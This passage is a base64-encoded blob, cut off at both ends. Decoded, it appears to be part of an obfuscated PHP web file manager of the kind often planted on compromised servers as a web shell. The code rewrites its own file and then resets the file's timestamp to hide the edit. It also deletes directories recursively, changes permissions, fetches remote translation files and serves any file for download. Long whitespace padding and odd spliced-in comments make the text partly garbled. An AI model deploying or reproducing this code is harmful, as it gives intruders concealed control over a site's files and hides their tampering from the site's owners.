bGFuZyddLCB0aW1lKCkgKyAoODY0MDAgKiAkYXV0aF9nb3duWydkYXlzX2F1dGhvcml6YXRpb24nXSkpOw0KCSAgICAgJF9DT09LSUVbJ2ZtX2xhbmcnXSA9ICRfUE9TVFsnZm1fbGFuZyddOw0KDQp9DQoNCg0KDQoNCg0KJGxhbmd1YWdlID0gJGRlZmF1bHRfbGFuZ3VhZ2U7DQoNCg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQoNCi8vIERldGVjdCBicm93c2VyIGxhbmd1YWdlDQoNCmlmKCRkZXRlY3RfbGFuZyAmJiAhZW1wdHkoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pICYmIGVtcHR5KCRfQ09PS0lFWydmbV9sYW5nJ10pKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAkbGFuZ19wcmlvcml0eSA9IGV4cGxvZGUoJywnLCAkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIGlmICghZW1wdHkoJGxhbmdfcHJpb3JpdHkpKXsNCg0KCSAgICAgCSAgICAgZm9yZWFjaCAoJGxhbmdfcHJpb3JpdHkgYXMgJGxhbmdfYXJyKXsNCg0KCSAgICAgCSAgICAgCSAgICAgJGxuZyA9IGV4cGxvZGUoJzsnLCAkbGFuZ19hcnIpOw0KCSAgICAgCSAgICAgCSAgICAgJGxuZyA9ICRsbmdbMF07DQoJICAgICAJICAgICAJICAgICBpZihpbl9hcnJheSgkbG5nLCRsYW5ncykpew0KDQoJICAgICAJICAgICAJICAgICAJICAgICAkbGFuZ3VhZ2UgPSAkbG5nOw0KDQoJICAgICAJICAgICAJICAgICAJICAgICBicmVhazsNCg0KCSAgICAgCSAgICAgCSAgICAgfQ0KDQoJICAgICAJICAgICB9DQoJICAgICB9DQoNCn0gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KLy8gQ29va2llIGxhbmd1YWdlIGlzIHByaW1hcnkgZm9yIGV2ZXINCg0KJGxhbmd1YWdlID0gKGVtcHR5KCRfQ09PS0lFWydmbV9sYW5nJ10pKSA/ICRsYW5ndWFnZSA6ICRfQ09PS0lFWydmbV9sYW5nJ107DQoNCg0KDQovLyBMb2NhbGl6YXRpb24NCiRsYW5nID0ganNvbl9kZWNvZGUoJHRyYW5zbGF0aW9uLHRydWUpOw0KDQppZiAoJGxhbmdbJ2lkJ10hPSRsYW5ndWFnZSkgew0KDQoJICAgICAkZ2V0X2xhbmcgPSBmaWxlX2dldF9jb250ZW50cygnaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0RlbjF4eHgvRmlsZW1hbmFnZXIvbWFzdGVyL2xhbmd1YWdlcy8nIC4gJGxhbmd1YWdlIC4gJy5qc29uJyk7DQoNCgkgICAgIGlmICghZW1wdHkoJGdldF9sYW5nKSkgew0KCSAgICAgCSAgICAgLy9yZW1vdmUgdW5uZWNlc3NhcnkgY2hhcmFjdGVycw0KDQoJICAgICAJICAgICAkdHJhbnNsYXRpb25fc3RyaW5nID0gc3RyX3JlcGxhY2UoIiciLCcmIzM5OycsanNvbl9lbmNvZGUoanNvbl9kZWNvZGUoJGdldF9sYW5nKSxKU09OX1VORVNDQVBFRF9VTklDT0RFKSk7DQoJICAgICAJICAgICAkZmdjID0gZmlsZV9nZXRfY29udGVudHMoX19GSUxFX18pOw0KDQoJICAgICAJICAgICAkc2VhcmNoID0gcHJlZ19tYXRjaCgnI3RyYW5zbGF0aW9uW1xzXT9cPVtcc10 ce1wiKC4qPylcIlx9XCc7IycsICRmZ2MsICRtYXRjaGVzKTsNCg0KCSAgICAgCSAgICAgaWYgKCFlbXB0eSgkbWF0Y2hlc1sxXSkpIHsNCg0KCSAgICAgCSAgICAgCSAgICAgJGZpbGVtdGltZSA9IGZpbGVtdGltZShfX0ZJTEVfXyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgICRyZXBsYWNlID0gc3RyX3JlcGxhY2UoJ3siJy4kbWF0Y2hlc1sxXS4nIn0nLCR0cmFuc2xhdGlvbl9zdHJpbmcsJGZnYyk7DQoNCgkgICAgIAkgICAgIAkgICAgIGlmIChmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXywgJHJlcGxhY2UpKSB7DQoJICAgICAJICAgICAJICAgICAJICAgICAkbXNnX2hlYWRlcnMgLj0gX18oJ0ZpbGUgdXBkYXRlZCcpOw0KCSAgICAgCSAgICAgCSAgICAgfQkgICAgIGVsc2UgJG1zZ19oZWFkZXJzIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgaWYgKCFlbXB0eSgkZm1fY29uZmlnWydmbV9yZXN0b3JlX3RpbWUnXSkpIHRvdWNoKF9fRklMRV9fLCRmaWxlbXRpbWUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgfQkgICAgIA0KDQoJICAgICAJICAgICAkbGFuZyA9IGpzb25fZGVjb2RlKCR0cmFuc2xhdGlvbl9zdHJpbmcsdHJ1ZSk7DQoJICAgICB9DQoNCn0NCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KLyogRnVuY3Rpb25zICovDQoNCi8vdHJhbnNsYXRpb24NCg0KZnVuY3Rpb24gX18oJHRleHQpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgZ2xvYmFsICRsYW5nOw0KCSAgICAgaWYgKGlzc2V0KCRsYW5nWyR0ZXh0XSkpIHJldHVybiAkbGFuZ1skdGV4dF07DQoJICAgICBlbHNlIHJldHVybiAkdGV4dDsNCg0KfTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KLy9kZWxldGUgZmlsZUFycmF5IGFuZCBkaXJzIHJlY3Vyc2l2ZWx5DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCmZ1bmN0aW9uIGZtX2RlbF9maWxlQXJyYXkoJGZpbGVfZ2V0LCAkcmVjdXJzaXZlID0gZmFsc2UpIHsNCgkgICAgIGlmKCRyZWN1cnNpdmUgJiYgQGlzX2RpcigkZmlsZV9nZXQpKSB7DQoNCgkgICAgIAkgICAgICRlbHMgPSBmbV9zY2FuX2RpcigkZmlsZV9nZXQsICcnLCAnJywgdHJ1ZSk7DQoNCgkgICAgIAkgICAgIGZvcmVhY2ggKCRlbHMgYXMgJGVsKSB7DQoNCgkgICAgIAkgICAgIAkgICAgIGlmKCRlbCAhPSAnLicgJiYgJGVsICE9ICcuLicpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICBmbV9kZWxfZmlsZUFycmF5KCRmaWxlX2dldCAuICcvJyAuICRlbCwgdHJ1ZSk7DQoJICAgICAJICAgICAJICAgICB9DQoNCgkgICAgIAkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgaWYoQGlzX2RpcigkZmlsZV9nZXQpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIHJldHVybiBybWRpcigkZmlsZV9nZXQpOw0KDQoJICAgICB9IGVsc2Ugew0KDQoJICAgICAJICAgICByZXR1cm4gQHVubGluaygkZmlsZV9nZXQpOw0KDQoJICAgICB9DQp9DQoNCg0KLy9maWxlIHBlcm1zDQoNCmZ1bmN0aW9uIGZtX3JpZ2h0c19zdHJpbmcoJGZpbGVfZ2V0LCAkaWYgPSBmYWxzZSl7DQoJICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGVfZ2V0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgICRpbmZvID0gJyc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICBpZighJGlmKXsNCgkgICAgIAkgICAgIGlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgLy9Tb2NrZXQNCg0KCSAgICAgCSAgICAgCSAgICAgJGluZm8gPSAncyc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHhBMDAwKSA9PSAweEEwMDApIHsNCgkgICAgIAkgICAgIAkgICAgIC8vU3ltYm9saWMgTGluaw0KCSAgICAgCSAgICAgCSAgICAgJGluZm8gPSAnbCc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAvL1JlZ3VsYXINCg0KCSAgICAgCSAgICAgCSAgICAgJGluZm8gPSAnLSc7DQoNCgkgICAgIAkgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsNCgkgICAgIAkgICAgIAkgICAgIC8vQmxvY2sgc3BlY2lhbA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAkaW5mbyA9ICdiJzsNCg0KCSAgICAgCSAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgew0KCSAgICAgCSAgICAgCSAgICAgLy9EaXJlY3RvcnkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgJGluZm8gPSAnZCc7DQoJICAgICAJICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7DQoNCgkgICAgIAkgICAgIAkgICAgIC8vQ2hhcmFjdGVyIHNwZWNpYWwNCgkgICAgIAkgICAgIAkgICAgICRpbmZvID0gJ2MnOw0KCSAgICAgCSAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgew0KCSAgICAgCSAgICAgCSAgICAgLy9GSUZPIHBpcGUNCgkgICAgIAkgICAgIAkgICAgICRpbmZvID0gJ3AnOw0KCSAgICAgCSAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAvL1Vua25vd24NCg0KCSAgICAgCSAgICAgCSAgICAgJGluZm8gPSAndSc7DQoJICAgICAJICAgICB9DQoJICAgICB9DQoNCiAgDQoNCgkgICAgIC8vIG5lLCB3YXRjaGluZyBvdmVyIHlvdXIgc3lzdGVtIGxpa2UgYSB2aWdpbGFudCBndWFyZGlhbg0KDQoJICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7DQoNCgkgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDQwKSA/DQoNCgkgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDoNCg0KCSAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQogDQoNCgkgICAgIC8vIHNvdSBkZXN1LCBsaWtlIGNoZWNraW5nIHlvdXIgY2xvY2sgYmVmb3JlIHlvdSBzdGFydCB5b3VyIG5leHQgYmlnIHByb2plY3Tvv73vv710aW1lIGZsaWVzIHdoZW4geW9177+977+9cmUgd29ya2luZyBvbiBmaWxlcyENCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKTsNCgkgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwOCkgPw0KDQoJICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQoJICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KIA0KDQoJICAgICAvL1dvcmxkDQoNCgkgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7DQoNCgkgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7DQoNCgkgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/DQoNCgkgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7DQoNCg0KDQoJICAgICByZXR1cm4gJGluZm87DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQp9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQpmdW5jdGlvbiBmbV9jb252ZXJ0X3JpZ2h0cygkbW9kZSkgew0KDQoJICAgICAkbW9kZSA9IHN0cl9wYWQoJG1vZGUsOSwnLScpOw0KDQoJICAgICAkdHJhbnMgPSBhcnJheSgnLSc9PicwJywncic9Pic0Jywndyc9PicyJywneCc9PicxJyk7DQoNCgkgICAgICRtb2RlID0gc3RydHIoJG1vZGUsJHRyYW5zKTsNCgkgICAgICRuZXdtb2RlID0gJzAnOw0KDQoJICAgICAkb3duZXIgPSAoaW50KSAkbW9kZVswXSArIChpbnQpICRtb2RlWzFdICsgKGludCkgJG1vZGVbMl07IA0KDQoJICAgICAkZ3JvdXAgPSAoaW50KSAkbW9kZVszXSArIChpbnQpICRtb2RlWzRdICsgKGludCkgJG1vZGVbNV07IA0KDQoJICAgICAkd29ybGQgPSAoaW50KSAkbW9kZVs2XSArIChpbnQpICRtb2RlWzddICsgKGludCkgJG1vZGVbOF07IA0KDQoJICAgICAkbmV3bW9kZSAuPSAkb3duZXIgLiAkZ3JvdXAgLiAkd29ybGQ7DQoJICAgICByZXR1cm4gaW50dmFsKCRuZXdtb2RlLCA4KTsNCg0KfQ0KDQoNCmZ1bmN0aW9uIGZtX2NobW9kKCRmaWxlX2dldCwgJHZhbCwgJHJlYyA9IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAkcmVzID0gQGNobW9kKHJlYWxwYXRoKCRmaWxlX2dldCksICR2YWwpOw0KDQoJICAgICBpZihAaXNfZGlyKCRmaWxlX2dldCkgJiYgJHJlYyl7DQoNCgkgICAgIAkgICAgICRlbHMgPSBmbV9zY2FuX2RpcigkZmlsZV9nZXQpOw0KDQoJICAgICAJICAgICBmb3JlYWNoICgkZWxzIGFzICRlbCkgew0KDQoJICAgICAJICAgICAJICAgICAkcmVzID0gJHJlcyAmJiBmbV9jaG1vZCgkZmlsZV9nZXQgLiAnLycgLiAkZWwsICR2YWwsIHRydWUpOw0KDQoJICAgICAJICAgICB9DQoNCgkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgcmV0dXJuICRyZXM7DQoNCn0NCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KLy9sb2FkIGZpbGVBcnJheQ0KDQpmdW5jdGlvbiBmbV9kb3dubG9hZCgkYXJjaGl2ZUVudHJ5TmFtZSkgew0KDQogICAgaWYgKCFlbXB0eSgkYXJjaGl2ZUVudHJ5TmFtZSkpIHsNCgkgICAgIAkgICAgIGlmIChmaWxlX2V4aXN0cygkYXJjaGl2ZUVudHJ5TmFtZSkpIHsNCg0KCSAgICAgCSAgICAgCSAgICAgaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iIC4gYmFzZW5hbWUoJGFyY2hpdmVFbnRyeU5hbWUpKTsgICANCgkgICAgIAkgICAgIAkgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9mb3JjZS1kb3dubG9hZCIpOw0KCSAgICAgCSAgICAgCSAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOw0KDQoJICAgICAJICAgICAJICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vZG93bmxvYWQiKTsNCg0KCSAgICAgCSAgICAgCSAgICAgaGVhZGVyKCJDb250ZW50LURlc2NyaXB0aW9uOiBGaWxlIFRyYW5zZmVyIik7ICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KCSAgICAgCSAgICAgCSAgICAgaGVhZGVyKCJDb250ZW50LUxlbmd0aDogIiAuIGZpbGVBcnJheWl6ZSgkYXJjaGl2ZUVudHJ5TmFtZSkpOwkgICAgIAkgICAgIA0KDQoJICAgICAJICAgICAJICAgICBmbHVzaCgpOyAvLyB0aGlzIGRvZXNuJ3QgcmVhbGx5IG1hdHRlci4NCg0KCSAgICAgCSAgICAgCSAgICAgJGZwID0gZm9wZW4oJGFyY2hpdmVFbnRyeU5hbWUsICJyIik7DQoJICAgICAJICAgICAJICAgICB3aGlsZSAoIWZlb2YoJGZwKSkgew0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgZWNobyBmcmVhZCgkZnAsIDY1NTM2KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICBmbHVzaCgpOyAvLyB0aGlzIGlzIGVzc2VudGlhbCBmb3IgbGFyZ2UgZG93bmxvYWRzDQoNCgkgICAgIAkgICAgIAkgICAgIH0gDQoNCgkgICAgIAkgICAgIAkgICAgIGZjbG9zZSgkZnApOw0KDQoJICAgICAJICAgICAJICAgICBkaWUoKTsNCgkgICAgIAkgICAgIH0gZWxzZSB7DQoJICAgICAJICAgICAJICAgICBoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnLCB0cnVlLCA0MDQpOw0KDQoJICAgICAJICAgICAJICAgICBoZWFkZXIoJ1N0YXR1czogNDA0IE5vdCBGb3VuZCcpOyANCg0KCSAgICAgCSAgICAgCSAgICAgZGllKCk7DQogICAgICAgIH0NCiAgICB9IA0KfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KDQovL3Nob3cgZm9sZGVyIHNpemUNCmZ1bmN0aW9uIGZtX2Rpcl9zaXplKCRmLCRmb3JtYXQ9dHJ1ZSkgew0KCSAgICAgaWYoJGZvcm1hdCkgIHsNCgkgICAgIAkgICAgICRzaXplPWZtX2Rpcl9zaXplKCRmLGZhbHNlKTsNCg0KCSAgICAgCSAgICAgaWYoJHNpemU8PTEwMjQpIHJldHVybiAkc2l6ZS4nIGJ5dGVzJzsNCg0KCSAgICAgCSAgICAgZWxzZWlmKCRzaXplPD0xMDI0KjEwMjQpIHJldHVybiByb3VuZCgkc2l6ZS8oMTAyNCksMikuJyZuYnNwO0tiJzsNCg0KCSAgICAgCSAgICAgZWxzZWlmKCRzaXplPD0xMDI0KjEwMjQqMTAyNCkgcmV0dXJuIHJvdW5kKCRzaXplLygxMDI0KjEwMjQpLDIpLicmbmJzcDtNYic7DQoJICAgICAJICAgICBlbHNlaWYoJHNpemU8PTEwMjQqMTAyNCoxMDI0KjEwMjQpIHJldHVybiByb3VuZCgkc2l6ZS8oMTAyNCoxMDI0KjEwMjQpLDIpLicmbmJzcDtHYic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgZWxzZWlmKCRzaXplPD0xMDI0KjEwMjQqMTAyNCoxMDI0KjEwMjQpIHJldHVybiByb3VuZCgkc2l6ZS8oMTAyNCoxMDI0KjEwMjQqMTAyNCksMikuJyZuYnNwO1RiJzsgLy86KSkpDQoNCgkgICAgIAkgICAgIGVsc2UgcmV0dXJuIHJvdW5kKCRzaXplLygxMDI0KjEwMjQqMTAyNCoxMDI0KjEwMjQpLDIpLicmbmJzcDtQYic7IC8vIDstKQ0KCSAgICAgfSBlbHNlIHsNCgkgICAgIAkgICAgIGlmKGlzX2ZpbGUoJGYpKSByZXR1cm4gZmlsZUFycmF5aXplKCRmKTsNCgkgICAgIAkgICAgICRzaXplPTA7DQoNCgkgICAgIAkgICAgICRkaD1vcGVuZGlyKCRmKTsNCg0KCSAgICAgCSAgICAgd2hpbGUoKCRmaWxlX2dldD1yZWFkZGlyKCRkaCkpIT09ZmFsc2UpIHsNCg0KCSAgICAgCSAgICAgCSAgICAgaWYoJGZpbGVfZ2V0PT0nLicgfHwgJGZpbGVfZ2V0PT0nLi4nKSBjb250aW51ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC